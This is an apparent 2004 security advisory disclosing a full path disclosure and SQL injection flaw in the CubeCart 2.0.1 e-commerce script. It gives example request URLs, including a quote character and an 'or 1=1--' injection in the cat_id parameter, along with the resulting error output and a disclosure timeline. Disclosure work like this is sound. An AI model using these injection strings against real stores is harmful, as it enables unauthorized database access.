--------------------------------------------------------

Full path disclosure and sql injection on CubeCart 2.0.1

--------------------------------------------------------



[1]Introduction

[2]The Problem

[3]The Solution

[4]Timeline

[5]Feddback



##############################################################



[1]Introduction



"CubeCart is an eCommerce script written with PHP & MySQL. With CubeCart you can setup a powerful online store as long as you 



have hosting supporting PHP and one MySQL database."



This info was taken from http://www.cubecart.com 



CubeCart, from Brooky (http://www.brooky.com), is a software formerly known as eStore.





[2]The Problem



A remote user can cause an error in index.php using the parameter 'cat_id' which is not properly validated, displaying the 



software's full installation path. It can also be used to inject sql commands. Examples follow:



(a)	http://example.com/store/index.php?cat_id=' 



	causes an error like this:

		

	"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in 				



	/home/example/public_html/store/link_navi.php on line 35



	Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in 					



	/home/example/public_html/store/index.php on line 170



	Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in 				



	/home/example/public_html/store/index.php on line 172"





(b)	http://example.com/store/index.php?cat_id=1 or 1=1-- 



	displays all categories in the database





[3]The Solution



None at this time. Vendor contacted and fix will be avaliable soon.





[4]Timeline



(2/10/2004) Vulnerability discovered

(2/10/2004) Vendor notified

(3/10/2004) Vendor response





[5]Feedback



Comments and stuff to cybercide@megamail.pt